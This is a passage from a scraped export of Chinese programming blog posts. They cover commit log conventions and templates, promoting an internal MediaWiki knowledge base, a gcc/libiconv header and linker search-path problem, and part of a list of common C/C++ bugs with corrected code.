log的。目前主流的版本控制工具都是支持unicode字符集的，你用中文提交也是没有任何问题的，尤其是在国内商业项目中，使用中文描述起来，理解上快且歧义少。我是不反对用中文写commit log的，但反感的是中英文混合写commit log（有些人用中文，有些人用英文）。每当批量看commit log时，中英文混在一起，一点美感都没有了。\ncommit log不是给最终用户看的，而是给开发维护人员看的。因此选择语言种类时要看这种语言是否能给开发维护人员的工作带来便利，精确全面地传达context。即便 应用是要发布给非洲人民，但若开发人员都是中国人，一样可以用中文编写commit log。\n* 地道\n说到“地道”，主要是针对你选择外语（大多数情况是英语）作为你commit log的承载语言时。就像生活在国外要用外国人熟悉的语言习惯与人交流似的，我们在用英语编写commit log时也要学会选用“地道”的词汇，远离Chinglish。当然想立即做到“地道”也不是那么容易，毕竟我们一直以来就按照Chinglish的思维去学 习英语的，一个比较好的方式就是多看看知名开源项目（比如linux kernel）的commit log，看看人家是如何选择词汇和组织句子的。其实Commit log中用到的词汇和句型很少，看多了也就找猫画虎的学会了。\n* 规范\n“没有规矩，不成方圆”，无论是商业软件项目，还是大型开源项目，莫不如此。如果要想很好的传达commit context，一个设计规范，内容全面的commit log格式是必不可少的。我们无需从头做起，很多开源项目在这方面都已经有一些良好的实践，比如上面提到的linux kernel的commit log convention，再比如这里有Apache Subversion的Commit log要求。TYPO3和FLOW3也有自己详细的Commit log说明。\n制定规范时总体来说，注意以下几点：\n– 格式简明扼要，只保留必要的项；\n– 注意与项目过程、质量保证流程的结合，以及与第三方工具的关联（注意序号或ID的唯一性）；\n– 对于规模较大的系统，可以考虑在log中体现影响的涉及的“子模块”或“子目录”名字或者逻辑功能的名字（比如前面linux kernel例子中的audit），这样便于快速定位本地commit的影响范畴。\n三、Commit模板\n如果像linux kernel或subversion那样涉及到过程、质量控制以及第三方工具的集成（比如问题跟踪系统、代码评审系统等）时，建议设置Commit log template(模板)以简化开发者commit log编写的工作。\n* Subversion命令行客户端支持commit log模板\nSubversion在命令行客户端侧暂无对模板的支持。不过可以通过一些trick模拟实现这个功能：\n- 创建commit log模板log.tmpl，放在特定目录下，本例中放在用户的$HOME目录下\n- 添加并导出环境变量SVN_EDITOR\nexport SVN_EDITOR=\u0026ldquo;rm svn-commit.tmp \u0026amp;\u0026amp; cp ~/log.tmpl svn-commit.tmp \u0026amp;\u0026amp; vi \u0026quot;\nsvn commit时，svn客户端会在当前路径下会执行类似$SVN_EDITOR svn-commit.tmp的命令，而svn-commit.tmp文件已经被替换为我们的模板文件，开发者只需按模板填写内容，并保存退出即可。如果 commit成功，svn客户端会删除当前目录下的svn-commit.tmp，否则svn-commit.tmp不会被删除，这将导致下次再提交 时，svn客户端检测到svn-commit.tmp的存在，从而新建立一个svn-commit.2.tmp的新文件，导致模板失效，这也是这个方法的 一个瑕疵。\n* Git命令行支持commit log模板\nGit是目前very hot的分布式版本管理工具，起步晚，但起点高，因此已经内置了对模板的支持，只需将模板文件配置一下即可。\ngit config –global commit.template ~/log.tmpl\n四、良好格式commit log****的实施\n即便有了良好格式的commit log的模板定义，但就我经验而言，实施起来也还会遇到诸多问题。commit行为是客户端发起的，要让所有开发者都能很好的使用模板并主动按模板提交需 要一些流程以及工具支持。比如在server段部署pre-commit hook，对提交的log格式进行检查，不符合模板格式的予以拒绝等。\n对于与问题跟踪系统有关联的log格式，还要注意保持问题跟踪系统id或序号的唯一性，这显然是管理和过程方面的工作。\n对于开源项目，一般merge到trunk需要owner的检查，所以反倒实施起来容易了些，只要有一篇内容丰富的 developer/community guide或convention之类的文档即可，多数知名的opensource project(比如linux kernel、subversion、apache httpd server、python等)都是有这类文档的，为这些project提交patch前是要好好阅读这些文档的，不能坏了规矩^_^。\n","permalink":"https://tonybai.com/2013/05/09/also-talk-about-commit-log/","summary":"\u003cp\u003e在\u003ca href=\"http://tonybai.com/2011/02/18/put-everything-under-version-control/\"\u003e版本控制工具\u003c/a\u003e大行其道的今天，作为程序员，势必要每天与各种版本控制系统（比如\u003ca href=\"http://subversion.apache.org/\"\u003eSubversion\u003c/a\u003e、\u003ca href=\"http://git-scm.com/\"\u003eGit\u003c/a\u003e、\u003ca href=\"http://mercurial.selenic.com/%E2%80%8E\"\u003eMercurial\u003c/a\u003e等）打交道， 每天不commit几次代码都不好意思说自己是专业程序员^_^。不过commit代码可不止敲入commit命令这么简单，对于一个专业程序员 来说，我们还要关注每次commit所携带的背景信息，这里暂且称之为“commit context”。在每次commit时，这些上下文信息只能通过commit log来体现。\u003c/p\u003e","title":"也谈Commit log"},{"content":"掐指算来，部门知识管理的推广工作已有两年了。两年时间不能算短，但对于知识管理这件事来说，只能算是热身阶段，我们依旧站在起跑线上，或者稍乐 观地讲我们只是刚刚迈出了万米长跑的第一步。\n下面是这两年来部门内部知识库建设的一个Timeline：\n- 2011年中旬，我所在产品线私下在一台PC上建立了基于MediaWiki的知识库。\n- 2011年末产品线在部门内部做了有关知识库与知识管理实践的分享。\n- 2012年初，部门在新采购的高性能服务器上建立基于MediaWiki的知识库，并指定专人负责；我们产品线将已经积累的内容迁移到了部门知识库中，这 也标志着部门知识库1.0版本正式上线。知识管理的策划和推广事宜也交由专门的子部门负责。\n- 2012年中，设立子部门KM负责人，设立子部门KM定期工作会，设立子部门技术交流汇报会，旨在各子部门之间分享最新信息，减少重复劳动，提高效率。\n- 2012年末，启动知识库2.0建设方案。\n- 2013年3月末，知识库2.0版本上线。邀请专业设计人员策划和实现了全新主页，提高了UE；重新策划了分类；重新划分了知识版块，专人负责更新；增加 了知识达人等多个激励内部童鞋分享知识的手段和方法；通过piwik统计和分析知识库的最新访问动态；通过一些实用的插件来简化Wiki Page编写工作、更好地展示内容；提炼高质量知识文章，形成知识周刊、月刊，作为内部知识库营销推广手段，吸引大家来到知识库，并尝试留下自己的知识。\n两年来，我这个“始作俑者”在知识库建立起来后已经不做什么具体的工作了（骨子里其实是不愿意做重复性、事务性工作），只是充当着“幕后推手”。值得我庆幸的是有那么几位同事都认同知识管理 的重要性，愿意参与进来执行具体的工作。专职负责知识管理的子部门的领导也十分重视此事，这才有了部门知识库的持续演进，才有了目前的2.0版本 上线，他们才是真正的猪角。\n这两年来，我在知识管理方面所作的工作主要有如下几方面：\n* 找人，形成圈子\n知识管理和推广虽然重要，但并非核心业务，不能显式地让大家看到其对部门发展的贡献度，因此多数人对此工作并不感兴趣，找到适合且对此有兴趣和热 情的人也就并非易事。另外还要得到相关子部门领导的长期支持，事情才好持续办下去。在1.0上线后，经过大半年的观察，我们找到了真正合适的人 选。也有两位志同道合的子部门领导十分重视此事，也亲自参与到知识库建设的交流讨论中。这样一个知识管理和推广的小圈子形成了。\n* 识别广泛的需求，形成可行性共识\n最初之所以在产品线私下建立起Wiki知识库，显然是因为我们遇到了诸多具体问题，诸如知识如何共享、知识的发现、知识更新以及一致性等（那时的 知识局限在项目过程中的各种文档资料等）。我们想通过一个共享的协作平台解决掉遇到的问题，于是有了我们自己的Wiki。这些问题其实是有共性 的，我们遇到了，其他产品线、开发组、子部门也会遇到。也就是说这个Wiki不仅仅能解决我们的问题，还能帮助解决其他人的问题。为此，我们做了 多次公开调查和私下交流，确定了知识库的必要性和大力推广的可行性。\n* 保持与知识库的直接负责领导常沟通\n我顶多算是一个“推手”，具体的知识库运营是由某子部门领导负责的。因此在用人以及知识库演进方面，还要常与领导沟通，达成一致后，推动执行起来 就方便的多了。\n* 元策划\n所谓的元策划就是为负责策划的具体执行人提供策划咨询，指导如何策划，仅此而已。当然有时也提供具体策划思路^_^。\n* 监督实施\n这个很关键。虽然我不直接负责知识管理这块，但我心目中是有一些期望达成的里程碑点的。因此我会不时的与具体的执行人了解进度情况，也算是一种督促和监督了。\n知识库2.0上线一月有余，他们弄了个知识月刊首期，居然把我评为月度“知识达人”，还问我是否可以分享些知识积累和总结方面的心得。以前从未系统考虑过这个问题，冷不丁的提起来还真没啥思路。不过花些时间深入想了想，还是有点体会的，也许这个体会比较另类。\n我承认我日常喜欢做一些知识积累和总结，只是喜欢并习惯为之而已，谈不上什么擅长，无论是工作中还是业余时间的学习过程中。为什么会这样呢？这么做到底动 机何为？我也仔细想了一下：从心理上来说这可能是源于一种“忧患意识”吧。真的是忧患：担心记性差，导致设计思路等知识和技巧的遗忘，那可真是种浪费和损 失；担心无地儿去回顾/查找（因此要起个好标题，找个好分类，贴上适当标签）；担心体验和心得的消失；担心自己每天没有进步（一直追求每天进步一点点，而 积累和总结则是一种显式地进步的体现）；担心别人看不到自己最新更新的内容(因此放到Wiki这种载体)；担心大脑容量不够，无法装得下那么多内容，所以 持久化到一类“永恒”的介质(blog、wiki)中；担心自己说不清楚，讲不明白，就写下来，并反复揣摩修改，直到自己满意；担心太多的东西放在大脑 中，太沉重，无法轻装前进，因此写出来，腾出一些空间，容纳点新东西等等。\n两年了，还是那句话，自己在知识管理方面依旧是野路子+新手！估计自己以后依旧不会直接做知识管理方面的执行工作，但肯定会是一个知识分享者以及一个旁观 参与者。知识库的建立为组织内的每个人、项目、产品线、子部门提供了一个分享的平台，也是一个自我展示的平台。知识库的内部营销才刚刚上路，前途光明，道 路坎坷，猪脚们要有一颗耐心。\n最后和大家分享一下我们知识库的slogan：“知识不怕从头积累，就怕从不积累”。\n","permalink":"https://tonybai.com/2013/05/03/the-past-two-years-to-promote-the-knowledge-management/","summary":"\u003cp\u003e掐指算来，部门\u003ca href=\"http://tonybai.com/2011/11/23/those-things-about-knowledge-management/\"\u003e知识管理\u003c/a\u003e的推广工作已有两年了。两年时间不能算短，但对于知识管理这件事来说，只能算是热身阶段，我们依旧站在起跑线上，或者稍乐 观地讲我们只是刚刚迈出了万米长跑的第一步。\u003c/p\u003e\n\u003cp\u003e下面是这两年来部门内部知识库建设的一个Timeline：\u003c/p\u003e\n\u003cp\u003e- 2011年中旬，我所在产品线私下在一台PC上建立了基于\u003ca href=\"http://www.mediawiki.org/\"\u003eMediaWiki\u003c/a\u003e的知识库。\u003cbr\u003e\n- 2011年末产品线在部门内部做了有关知识库与知识管理实践的分享。\u003cbr\u003e\n- 2012年初，部门在新采购的高性能服务器上建立基于MediaWiki的知识库，并指定专人负责；我们产品线将已经积累的内容迁移到了部门知识库中，这 也标志着部门知识库1.0版本正式上线。知识管理的策划和推广事宜也交由专门的子部门负责。\u003cbr\u003e\n- 2012年中，设立子部门KM负责人，设立子部门KM定期工作会，设立子部门技术交流汇报会，旨在各子部门之间分享最新信息，减少重复劳动，提高效率。\u003cbr\u003e\n- 2012年末，启动知识库2.0建设方案。\u003cbr\u003e\n- 2013年3月末，知识库2.0版本上线。邀请专业设计人员策划和实现了全新主页，提高了UE；重新策划了分类；重新划分了知识版块，专人负责更新；增加 了知识达人等多个激励内部童鞋分享知识的手段和方法；通过\u003ca href=\"http://piwik.org/\"\u003epiwik\u003c/a\u003e统计和分析知识库的最新访问动态；通过一些实用的插件来简化Wiki Page编写工作、更好地展示内容；提炼高质量知识文章，形成知识周刊、月刊，作为内部\u003ca href=\"http://tonybai.com/2012/08/06/reasons-for-promote-km-difficult/\"\u003e知识库营销推广\u003c/a\u003e手段，吸引大家来到知识库，并尝试留下自己的知识。\u003c/p\u003e","title":"推动知识管理的这两年"},{"content":"与在Solaris系统上不同，Linux的libc库中包含了libiconv库中函数的定义，因此在Linux上使用libiconv库相关函数，编译时是不需要显式-liconv的。但最近我的一位同事在某redhat enterprise server 5.6机器上编译程序时却遇到了找不到iconv库函数符号的链接问题，到底是怎样一回事呢？这里分享一下问题查找过程。\n一、现场重现\n这里借用一下这位同事的测试程序以及那台机器，重现一下问题过程：\n/*test.c */\n…\n#include \u0026lt;iconv.h\u0026gt;\nint main(void)\n{\nint r;\nchar *sin, *sout;\nsize_t lenin, lenout;\nchar *src = \u0026ldquo;你好!\u0026rdquo;;\nchar dst[256] = {0};\niconv_t c_pt;\nsin = src;\nlenin = strlen(src)+1;\nsout = dst;\nlenout = 256;\nif ((c_pt = iconv_open(\u0026ldquo;UTF-8\u0026rdquo;, \u0026ldquo;GB2312\u0026rdquo;)) == (iconv_t)(-1)){\nprintf(\u0026ldquo;iconv_open error!. errno[%d].\\n\u0026rdquo;, errno);\nreturn -1;\n}\nif ((r = iconv(c_pt, (char **)\u0026amp;sin, \u0026amp;lenin, \u0026amp;sout, \u0026amp;lenout)) != 0){\nprintf(\u0026ldquo;iconv error!. errno[%d].\\n\u0026rdquo;, r);\nreturn -1;\n}\niconv_close(c_pt);\nprintf(\u0026ldquo;SRC[%s], DST[%s].\\n\u0026rdquo;, src, dst);\nreturn 0;\n}\n根据之前的经验，我们按如下命令编译该程序：\n$\u0026gt; gcc -g -o test test.c\n/tmp/ccyQ5blC.o: In function `main\u0026rsquo;:\n/home/tonybai/tmp/test.c:28: undefined reference to `libiconv_open\u0026rsquo;\n/home/tonybai/tmp/test.c:33: undefined reference to `libiconv\u0026rsquo;\n/home/tonybai/tmp/test.c:38: undefined reference to `libiconv_close'\n咦，这是咋搞的呢？怎么找不到iconv库的符号！！！显式加上iconv的链接指示再试试。\n$\u0026gt; gcc -g -o test test.c -liconv\n这回编译OK了。的确如那位同事所说出现了怪异的情况。\n二、现场取证\n惯性思维让我首先提出疑问：难道是这台机器上的libc版本有差异，检查一下libc中是否定义了iconv相关符号。\n$ nm /lib64/libc.so.6 |grep iconv\n000000397141e040 T iconv\n000000397141e1e0 T iconv_close\n000000397141ddc0 T iconv_open\niconv的函数都定义了呀！怎么会链接不到？\n我们再来看看已经编译成功的那个test到底连接到哪个iconv库了。\n$ ldd test\nlinux-vdso.so.1 =\u0026gt; (0x00007fff77d6b000)\nlibiconv.so.2 =\u0026gt; /usr/local/lib/libiconv.so.2 (0x00002abbeb09e000)\nlibc.so.6 =\u0026gt; /lib64/libc.so.6 (0×0000003971400000)\n/lib64/ld-linux-x86-64.so.2 (0×0000003971000000)\n哦，系统里居然在/usr/local/lib下面单独安装了一份libiconv。gcc显然是链接到这里的libiconv了，但gcc怎么会链接到这里了呢？\n**三、**大侦探的分析^_^\nGcc到底做了什么呢？我们看看其verbose的输出结果。\n$ gcc -g -o test test.c -liconv -v\n使用内建 specs。\n目标：x86_64-redhat-linux\n配置为：../configure –prefix=/usr –mandir=/usr/share/man –infodir=/usr/share/info –enable-shared –enable-threads=posix –enable- checking=release –with-system-zlib –enable-__cxa_atexit –disable-libunwind-exceptions –enable-libgcj-multifile –enable-languages=c,c++, objc,obj-c++,java,fortran,ada –enable-java-awt=gtk –disable-dssi –disable-plugin –with-java-home=/usr/lib/jvm/java-1.4.2-gcj-1.4.2.0/jre –with-cpu=generic –host=x86_64-redhat-linux\n线程模型：posix\ngcc 版本 4.1.2 20080704 (Red Hat 4.1.2-50)\n/usr/libexec/gcc/x86_64-redhat-linux/4.1.2/cc1 -quiet -v test.c -quiet -dumpbase test.c -mtune=generic -auxbase test -g -version -o /tmp/ ccypZm0v.s\n忽略不存在的目录“/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../x86_64-redhat-linux/include”\n#include \u0026ldquo;…\u0026rdquo; 搜索从这里开始：\n#include \u0026lt;…\u0026gt; 搜索从这里开始：\n/usr/local/include\n/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include\n/usr/include\n搜索列表结束。\nGNU C 版本 4.1.2 20080704 (Red Hat 4.1.2-50) (x86_64-redhat-linux)\n由 GNU C 版本 4.1.2 20080704 (Red Hat 4.1.2-50) 编译。\nGGC 准则：–param ggc-min-expand=100 –param ggc-min-heapsize=131072\nCompiler executable checksum: ef754737661c9c384f73674bd4e06594\nas -V -Qy -o /tmp/ccaqvDgX.o /tmp/ccypZm0v.s\nGNU assembler version 2.17.50.0.6-14.el5 (x86_64-redhat-linux) using BFD version 2.17.50.0.6-14.el5 20061020\n/usr/libexec/gcc/x86_64-redhat-linux/4.1.2/collect2 –eh-frame-hdr -m elf_x86_64 –hash-style=gnu -dynamic-linker /lib64/ld-linux-x86-64.so. 2 -o test /usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64/crt1.o /usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64/crti.o /usr/ lib/gcc/x86_64-redhat-linux/4.1.2/crtbegin.o -L/usr/lib/gcc/x86_64-redhat-linux/4.1.2 -L/usr/lib/gcc/x86_64-redhat-linux/4.1.2 -L/usr/lib/gcc/ x86_64-redhat-linux/4.1.2/../../../../lib64 -L/lib/../lib64\n-L/usr/lib/../lib64 /tmp/ccaqvDgX.o -liconv -lgcc –as-needed -lgcc_s –no-as-needed -lc -lgcc –as-needed -lgcc_s –no-as-needed /usr/lib/gcc/x86_64-redhat-linux/4.1.2/crtend.o /usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64/crtn.o\n从这个结果来看，gcc在search iconv.h这个头文件时，首先找到的是/usr/local/include/iconv.h，而不是/usr/include/iconv.h。这两个文件有啥不同么？\n在/usr/local/include/iconv.h中，我找到如下代码：\n…\n#ifndef LIBICONV_PLUG\n#define iconv_open libiconv_open\n#endif\nextern iconv_t iconv_open (const char* tocode, const char* fromcode);\n…\nlibiconv_open vs iconv_open，卧槽！！！再对比一下前面编译时输出的错误信息：\n/tmp/ccyQ5blC.o: In function `main\u0026rsquo;:\n/home/tonybai/tmp/test.c:28: undefined reference to `libiconv_open\u0026rsquo;\n/home/tonybai/tmp/test.c:33: undefined reference to `libiconv\u0026rsquo;\n/home/tonybai/tmp/test.c:38: undefined reference to `libiconv_close'\n大侦探醒悟了！大侦探带你还原一下真实情况。\n我们在执行gcc -g -o test test.c时， 根据gcc -v中include search dir的顺序，gcc首先search到的是/usr/local/include/iconv.h，而这里iconv_open等函数被预编译器替换成 了libiconv_open等加上了lib前缀的函数，而这些函数符号显然在libc中是无法找到的，libc中只有不带lib前缀的 iconv_open等函数的定义。大侦探也是一时眼拙了，没有细致查看gcc的编译错误信息中的内容，这就是问题所在！\n而gcc -g -o test test.c -liconv为何可以顺利编译通过呢？gcc是如何找到/usr/local/lib下的libiconv的呢？大侦探再次为大家还原一下真相。\n我们在执行gcc -g -o test test.c -liconv时，gcc同 样首先search到的是/usr/local/include/iconv.h，然后编译test.c源码，ok；接下来启动ld程序进行链接；ld找 到了libiconv，ld是怎么找到iconv的呢，libiconv在/usr/local/lib下，ld显然是到这个目录下search了。我们 通过执行下面命令可以知晓ld的默认搜索路径：\n$\u0026gt; ld -verbose|grep SEARCH\nSEARCH_DIR(\u0026quot;/usr/x86_64-redhat-linux/lib64\u0026quot;); SEARCH_DIR(\u0026quot;/usr/local/lib64\u0026quot;); SEARCH_DIR(\u0026quot;/lib64\u0026quot;); SEARCH_DIR(\u0026quot;/usr/lib64\u0026quot;); SEARCH_DIR(\u0026quot;/usr/x86_64-redhat-linux/lib\u0026quot;); SEARCH_DIR(\u0026quot;/usr/lib64\u0026quot;); SEARCH_DIR(\u0026quot;/usr/local/lib\u0026quot;); SEARCH_DIR(\u0026quot;/lib\u0026quot;); SEARCH_DIR(\u0026quot;/usr/lib\u0026quot;);\nld的默认search路径中有/usr/local/lib(我之前一直是以为/usr/local/lib不是gcc/ld的默认搜索路径的)，因此找到libiconv就不足为奇了。\n四、问题解决\n我们不想显式的加上-liconv，那如何解决这个问题呢？我们是否可以强制gcc先找到/usr/include/iconv.h呢？我们先来做个试验。\n$ gcc -g -o test test.c -liconv -I ~/include -v\n…\n忽略不存在的目录“/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../x86_64-redhat-linux/include”\n#include \u0026ldquo;…\u0026rdquo; 搜索从这里开始：\n#include \u0026lt;…\u0026gt; 搜索从这里开始：\n/home/tonybai/include\n/usr/local/include\n/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include\n/usr/include\n搜索列表结束。\n…\n试验结果似乎让我们觉得可行，我们通过-I指定的路径被放在了第一的位置进行search。我们来尝试一下强制gcc先search /usr/include。\n$ gcc -g -o test test.c -I ~/include -v\n…\n忽略不存在的目录“/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../x86_64-redhat-linux/include”\n忽略重复的目录“/usr/include”\n因为它是一个重复了系统目录的非系统目录\n#include \u0026ldquo;…\u0026rdquo; 搜索从这里开始：\n#include \u0026lt;…\u0026gt; 搜索从这里开始：\n/usr/local/include\n/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include\n/usr/include\n搜索列表结束。\n…\n糟糕！/usr/include被忽略了！还是从/usr/local/include开始，方案失败。\n似乎剩下的唯一方案就是将/usr/local/lib下的那份libiconv卸载掉！那就这么做吧^_^！\n","permalink":"https://tonybai.com/2013/04/25/a-libiconv-linkage-problem/","summary":"\u003cp\u003e与在\u003ca href=\"http://tonybai.com/2009/11/05/a-64bit-compiling-problem-on-x86-solaris/\"\u003eSolaris\u003c/a\u003e系统上不同，\u003ca href=\"http://tonybai.com/2012/12/04/upgrade-ubuntu-to-1204-lts/\"\u003eLinux\u003c/a\u003e的libc库中包含了\u003ca href=\"http://tonybai.com/2009/10/31/internal-code-transform-by-iconv/\"\u003elibiconv\u003c/a\u003e库中函数的定义，因此在Linux上使用libiconv库相关函数，编译时是不需要显式-liconv的。但最近我的一位同事在某redhat enterprise server 5.6机器上编译程序时却遇到了找不到iconv库函数符号的\u003ca href=\"http://tonybai.com/2007/12/08/those-things-about-symbol-linkage/\"\u003e链接问题\u003c/a\u003e，到底是怎样一回事呢？这里分享一下问题查找过程。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e一、现场重现\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e这里借用一下这位同事的测试程序以及那台机器，重现一下问题过程：\u003cbr\u003e\n/*test.c */\u003c/p\u003e","title":"libiconv库链接问题一则"},{"content":"俄罗斯OOO Program Verification Systems公司用自己的静态源码分析产品PVS-Studio对一些知名的C/C++开源项目，诸如Apache Http Server、Chromium、Clang、CMake、MySQL等的源码进行了分析，找出了100个典型的Bugs。个人觉得这份列表对C/C++ 程序员有一定参考意义。与其说事后用静态工具分析，倒不如在编码时就提高自知自觉，避免这份列表上的错误发生在你的代码中，因此这里将部分摘录一些Bugs（Bug编号这里不连续，为的是对应原文的编号）并做简要说明。原文将这份Bug列表分为了几类，这里也将沿用这个思路。\n一、数组和字符串处理错误\n数组和字符串处理错误是C/C++程序中最多的一类缺陷类型。这也可以看作是我们为拥有高效地底层内存操作能力而付出的代价。\n[#1] Wolfenstein 3D项目 -\u0026ldquo;只有部分对象被clear了\u0026rdquo;\nvoid CG_RegisterItemVisuals( int itemNum ) {\n…\nitemInfo_t *itemInfo;\n…\nmemset( itemInfo, 0, sizeof( \u0026amp;itemInfo ) );\n…\n}\n这里的Bug出现在memset那一行。代码的真实意图是clear iteminfo这块内存，但调用memset时，第三个参数传入的却是sizeof(\u0026amp;iteminfo)，要知道 sizeof(\u0026amp;itemInfo) != sizeof(itemInfo_t)，前者只是一个指针的大小罢了。正确的写法是：\nmemset(itemInfo, 0, sizeof(itemInfo_t)); 或memset(itemInfo, 0, sizeof(*itemInfo));\n[#2] Wolfenstein 3D项目 -\u0026ldquo;只有部分Matrix被clear了\u0026rdquo;\nID_INLINE mat3_t::mat3_t( float src[ 3 ][ 3 ] ) {\nmemcpy( mat, src, sizeof( src ) );\n}\n这里的Bug出现在memcpy一行。程序的原意是将clear src[3][3]这个二维数组。但这里有个坑：那就是作为函数形式参数的数组名已经退化为指针了，对其sizeof只能得到一个指针的长度，因此这里的 memcpy只是copy了一个指针的长度，没有copy全。这里的代码是C++代码，原文中给出了正确的改正方法 – 传reference：\nID_INLINE mat3_t::mat3_t( float (\u0026amp;src)[3][3] )\n{\nmemcpy( mat, src, sizeof( src ) );\n}\n[#4] ReactOS项目 – \u0026ldquo;错误地计算一个字符串的长度\u0026rdquo;\nstatic const PCHAR Nv11Board = \u0026ldquo;NV11 (GeForce2) Board\u0026rdquo;;\nstatic const PCHAR Nv11Chip = \u0026ldquo;Chip Rev B2\u0026rdquo;;\nstatic const PCHAR Nv11Vendor = \u0026ldquo;NVidia Corporation\u0026rdquo;;\nBOOLEAN\nIsVesaBiosOk(…)\n{\n…\nif (!(strncmp(Vendor, Nv11Vendor, sizeof(Nv11Vendor))) \u0026amp;\u0026amp;\n!(strncmp(Product, Nv11Board, sizeof(Nv11Board))) \u0026amp;\u0026amp;\n!(strncmp(Revision, Nv11Chip, sizeof(Nv11Chip))) \u0026amp;\u0026amp;\n(OemRevision == 0×311))\n…\n}\nBug处在IsVesaBiosOK中那一串strncmp调用中，代码将一个指针的size传入strncmp作为第三个参数，导致 strncmp实际只是比较了字符串的前4 or 8个字节，而不是字符串的全部内容。\n[#6] CPU Identifying Tool项目 – 数组越界\n#define FINDBUFFLEN 64 // Max buffer find/replace size\n…\nint WINAPI Sticky (…)\n{\n…\nstatic char findWhat[FINDBUFFLEN] = {\u0026rsquo;\\0\u0026rsquo;};\n…\nfindWhat[FINDBUFFLEN] = \u0026lsquo;\\0\u0026rsquo;;\n…\n}\nbug出在\u0026quot;findWhat[FINDBUFFLEN] = ‘\\0′;”这一行。数组的最大长度为FINDBUFFLEN，但下标的最大值应该是FINDBUFFLEN-1，而不是FINDBUFFLEN。因此这 行代码显然应该改为findWhat[FINDBUFFLEN-1] = \u0026lsquo;\\0\u0026rsquo;;\n[#7] Wolfenstein 3D项目 – 数组越界\ntypedef struct bot_state_s\n{\n…\nchar teamleader[32]; //netname of the team leader\n…\n} bot_state_t;\nvoid BotTeamAI( bot_state_t *bs ) {\n…\nbs-\u0026gt;teamleader[sizeof( bs-\u0026gt;teamleader )] = \u0026lsquo;\\0\u0026rsquo;;\n…\n}\n\u0026ldquo;sizeof( bs-\u0026gt;teamleader )]\u0026ldquo;这行的结果值已经超出了数组的最大边界，正确的代码是：\nbs-\u0026gt;teamleader[\nsizeof(bs-\u0026gt;teamleader) / sizeof(bs-\u0026gt;teamleader[0]) – 1\n] = \u0026lsquo;\\0\u0026rsquo;;\n[#8] Miranda IM项目 – 只Copy了部分字符串\nstruct _textrangew\n{\nCHARRANGE chrg;\nLPWSTR lpstrText;\n} TEXTRANGEW;\nconst wchar_t* Utils::extractURLFromRichEdit(…)\n{\n…\n::CopyMemory(tr.lpstrText, L\u0026quot;mailto:\u0026rdquo;, 7);\n…\n}\n这里的bug在于L\u0026quot;mailto:\u0026ldquo;是宽字符串，宽字符串中的每个字符占2或4个字节（依Compiler使用的字符集编码而定），因此这里只 copy 7个字节显然是不够的，应该是7 * sizeof(wchar_t)。\n[#9] CMake项目 – 循环內的数组越界\nstatic const struct {\nDWORD winerr;\nint doserr;\n} doserrors[] =\n{\n…\n};\nstatic void\nla_dosmaperr(unsigned long e)\n{\n…\nfor (i = 0; i \u0026lt; sizeof(doserrors); i++)\n{\nif (doserrors[i].winerr == e)\n{\nerrno = doserrors[i].doserr;\nreturn;\n}\n}\n…\n}\n作者原本意图la_dosmaperr中for循环的次数等于数组的元素个数，但sizeof(doserrors)返回的却是数组占用的字节个数，这远远大于数组元素个数，因此造成数组越界。正确的写法：\nfor (i = 0; i \u0026lt; sizeof(doserrors) / sizeof(*doserrors); i++)\n[#10] CPU Identifying Tool项目 – 打印到自身的字符串\nchar * OSDetection ()\n{\n…\nsprintf(szOperatingSystem,\n\u0026ldquo;%sversion %d.%d %s (Build %d)\u0026rdquo;,\nszOperatingSystem,\nosvi.dwMajorVersion,\nosvi.dwMinorVersion,\nosvi.szCSDVersion,\nosvi.dwBuildNumber \u0026amp; 0xFFFF);\n…\nsprintf (szOperatingSystem, \u0026ldquo;%s%s(Build %d)\u0026rdquo;,\nszOperatingSystem, osvi.szCSDVersion,\nosvi.dwBuildNumber \u0026amp; 0xFFFF);\n…\n}\n通过sprintf，szOperatingSystem字符串将自己打印到自己里面，这是十分危险的，将导致无法预知的错误结果，可能会导致栈溢出等严重问题。\n[#12] Notepad++项目 – 数组局部clear\n#define CONT_MAP_MAX 50\nint _iContMap[CONT_MAP_MAX];\n…\nDockingManager::DockingManager()\n{\n…\nmemset(_iContMap, -1, CONT_MAP_MAX);\n…\n}\n代码的原本试图将数组_iContMap清零，但memset的第三个参数CONT_MAP_MAX并不能代表数组的真正大小，而只是数组的元素个数而已，显然其忘记乘以sizeof(int)了。\n二、未定义行为\n在C/C++的语言规范中，我们常常能看到“xx is undefined”。规范中并没有明确表明这类错误是什么样子的，只是说取决于Compiler的实现，也许Compiler会给出正确的结果，但这么使用却是不可移植的。\n[#1] Chromium项目 – 智能指针的误用\nvoid AccessibleContainsAccessible(…)\n{\n…\nauto_ptr child_array(new VARIANT[child_count]);\n…\n}\n这里的问题在于使用new[]分配的内存，在智能指针释放时却用了delete，这将会导致未定义行为。看看autoptr的destructor就知道了：\n~auto_ptr() {\ndelete _Myptr;\n}\n我们可以找一些更合适的类来fix这个问题，比如boost::scopedarray。\n[#2] IPP Sample项目 – 经典未定义行为\ntemplate\u0026lt;typename T, Ipp32s size\u0026gt; void HadamardFwdFast(…)\n{\nIpp32s *pTemp;\n…\nfor(j=0;j\u0026lt;4;j++) {\na[0] = pTemp[0*4] + pTemp[1*4];\na[1] = pTemp[0*4] – pTemp[1*4];\na[2] = pTemp[2*4] + pTemp[3*4];\na[3] = pTemp[2*4] – pTemp[3*4];\npTemp = pTemp++;\n…\n}\n…\n}\n很多人一眼就看到了\u0026quot;pTemp = pTemp++\u0026ldquo;这行，对于这个代码编译器会产生两种结果截然不同的翻译：\npTemp = pTemp + 1;\npTemp = pTemp;\n或\nTMP = pTemp;\npTemp = pTemp + 1;\npTemp = TMP;\n到底是哪种呢？依赖于编译器的实现，甚至是优化级别的设定。\n三、与运算优先级相关的错误\n[#1] MySQL工程 – !和\u0026amp;的运算优先级\nint ha_innobase::create(…)\n{\n…\nif (srv_file_per_table\n\u0026amp;\u0026amp; !mysqld_embedded\n\u0026amp;\u0026amp; (!create_info-\u0026gt;options \u0026amp; 